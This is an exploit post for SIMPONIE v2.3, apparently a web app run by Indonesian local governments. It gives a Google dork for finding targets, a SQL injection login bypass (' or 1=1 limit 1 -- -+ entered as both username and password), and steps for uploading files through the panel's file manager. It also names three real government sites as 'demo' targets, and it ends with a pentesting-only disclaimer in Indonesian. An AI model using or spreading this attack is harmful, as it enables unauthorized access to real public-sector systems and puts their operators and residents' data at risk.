SIMPONIE v2.3 Indonesia Government Responsive File Manager File Upload

[+]Exploit Title: SIMPONIE v2.3 Indonesia Government Responsive File Manager File Upload

[+]Author: Negat1ve
[+]Team: -1
[+]Goolge Dork: intext:"SIMPONIE v2.3"

[+]Tested on: Windows 10 x64
================================================
[+]Proof Of Concept:

Find website with the dork
Login url will be site.go.id/panel/login

Login with this detail
user: ' or 1=1 limit 1 -- -+
password: ' or 1=1 limit 1 -- -+

You can upload your file via Responsive Drag And Drop File in "Berkas Unggahan"

Your files will go to site.go.id/fm/rc/random hash/yourfilename.jpg
example:
https://simponie2.lebakkab.go.id/…/988e396409f2ac…/loser.jpg

NB:
- filetype of this uploader is jpg jpeg png

Demo sites:
https://simponie2.lebakkab.go.id/panel/login
http://simponie.serangkab.go.id/panel/login
https://simponie.tangerangselatankota.go.id/panel/login

Catatan: Saya Admin tidak pernah bertanggung jawab dengan apa yang kalian perbuat, Jika ada masalah jangan pernah menyalakan website ini, Tutor ini di buat hanya untuk mengetest/pentester suatu website apakah web itu memiliki bug apa enggak.

Share this post